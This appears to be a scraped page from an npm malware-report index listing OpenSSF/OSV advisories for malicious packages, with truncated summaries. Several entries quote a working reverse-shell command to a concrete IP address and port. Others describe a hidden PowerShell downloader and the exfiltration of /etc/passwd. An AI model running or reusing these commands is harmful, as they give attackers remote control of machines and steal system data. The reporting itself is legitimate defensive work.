npm malware reports, with evidence.
Explore malware, protestware, install-hook abuse, staged payload carriers, crypto mining, and typosquatting. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 706
Updated 27 Oct 2026, 17:57 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-5764 blocks this version. OSV/OpenSSF confirms sys-info-cli-app@1.0.9 as malicious package MAL-2026-5764. Malicious code in sys-info-cli-app (npm)
OpenSSF/OSV malware advisory MAL-2026-5764 blocks this version. OSV/OpenSSF confirms sys-info-cli-app@1.0.2 as malicious package MAL-2026-5764. Malicious code in sys-info-cli-app (npm)
OpenSSF/OSV malware advisory MAL-2026-5764 blocks this version. OSV/OpenSSF confirms sys-info-cli-app@1.0.1 as malicious package MAL-2026-5764. Malicious code in sys-info-cli-app (npm)
OpenSSF/OSV malware advisory MAL-2026-4679 blocks this version. index.js line 13 executes `bash -c "bash -i >& /dev/tcp/101.43.232.7/7777 0>&1"` via child_process.exec, opening an interac...
OpenSSF/OSV malware advisory MAL-2026-4679 blocks this version. index.js line 13 executes `bash -c "bash -i >& /dev/tcp/101.43.232.7/7777 0>&1"` via child_process.exec, opening an interac...
OpenSSF/OSV malware advisory MAL-2026-4679 blocks this version. index.js line 13 executes `bash -c "bash -i >& /dev/tcp/101.43.232.7/7777 0>&1"` via child_process.exec, opening an interac...
OpenSSF/OSV malware advisory MAL-2026-4679 blocks this version. index.js line 13 executes `bash -c "bash -i >& /dev/tcp/101.43.232.7/7777 0>&1"` via child_process.exec, opening an interac...
OpenSSF/OSV malware advisory MAL-2026-4679 blocks this version. index.js line 13 executes `bash -c "bash -i >& /dev/tcp/101.43.232.7/7777 0>&1"` via child_process.exec, opening an interac...
OpenSSF/OSV malware advisory MAL-2026-4679 blocks this version. index.js line 13 executes `bash -c "bash -i >& /dev/tcp/101.43.232.7/7777 0>&1"` via child_process.exec, opening an interac...
OpenSSF/OSV malware advisory MAL-2026-4679 blocks this version. index.js line 13 executes `bash -c "bash -i >& /dev/tcp/101.43.232.7/7777 0>&1"` via child_process.exec, opening an interac...
OpenSSF/OSV malware advisory MAL-2026-6380 blocks this version. On `require`/`import`, src/index.js shell-executes a hidden PowerShell one-liner that downloads `launcher.bat` from an anon...
OpenSSF/OSV malware advisory MAL-2026-5617 blocks this version. OSV/OpenSSF confirms sysnu@1.0.1 as malicious package MAL-2026-5617. Malicious code in sysnu (npm)
OpenSSF/OSV malware advisory MAL-2026-5617 blocks this version. OSV/OpenSSF confirms sysnu@1.0.0 as malicious package MAL-2026-5617. Malicious code in sysnu (npm)
OpenSSF/OSV malware advisory MAL-2026-4678 blocks this version. Package self-describes as a 'System binary configuration tool' but on invocation (CLI/bin entry or require) it silently boo...
OpenSSF/OSV malware advisory MAL-2026-6336 blocks this version. The package ships an obfuscated JavaScript file at shim/index.js using hex-style identifier mangling (_0x391f3f, _0x3eff0a,...
OpenSSF/OSV malware advisory MAL-2026-6336 blocks this version. The package ships an obfuscated JavaScript file at shim/index.js using hex-style identifier mangling (_0x391f3f, _0x3eff0a,...
OpenSSF/OSV malware advisory MAL-2026-6336 blocks this version. The package ships an obfuscated JavaScript file at shim/index.js using hex-style identifier mangling (_0x391f3f, _0x3eff0a,...
OpenSSF/OSV malware advisory MAL-2026-5636 blocks this version. OSV/OpenSSF confirms swagger-express-routes@1.0.1 as malicious package MAL-2026-5636. Malicious code in swagger-express-rou...
OpenSSF/OSV malware advisory MAL-2026-4673 blocks this version. package.json declares a postinstall hook: "npm install -g agent-browser 2>/dev/null || true; agent-browser install 2>/dev/n...
OpenSSF/OSV malware advisory MAL-2026-6261 blocks this version. On `require('sf-storybook')`, index.js shells out via child_process to run `cat /etc/passwd >./passwd.txt` and then POSTs t...
OpenSSF/OSV malware advisory MAL-2026-4154 blocks this version. Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` an...
OpenSSF/OSV malware advisory MAL-2026-4154 blocks this version. Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` an...
OpenSSF/OSV malware advisory MAL-2026-6435 blocks this version. The `serverless-leo` npm package was compromised as part of the Miasma worm campaign targeting the LeoPlatform npm ecosyste...
OpenSSF/OSV malware advisory MAL-2026-6434 blocks this version. The `serverless-convention` npm package was compromised as part of the Miasma worm campaign targeting the LeoPlatform npm e...
OpenSSF/OSV malware advisory MAL-2026-3313 blocks this version. The package service-gateway was found to contain malicious code.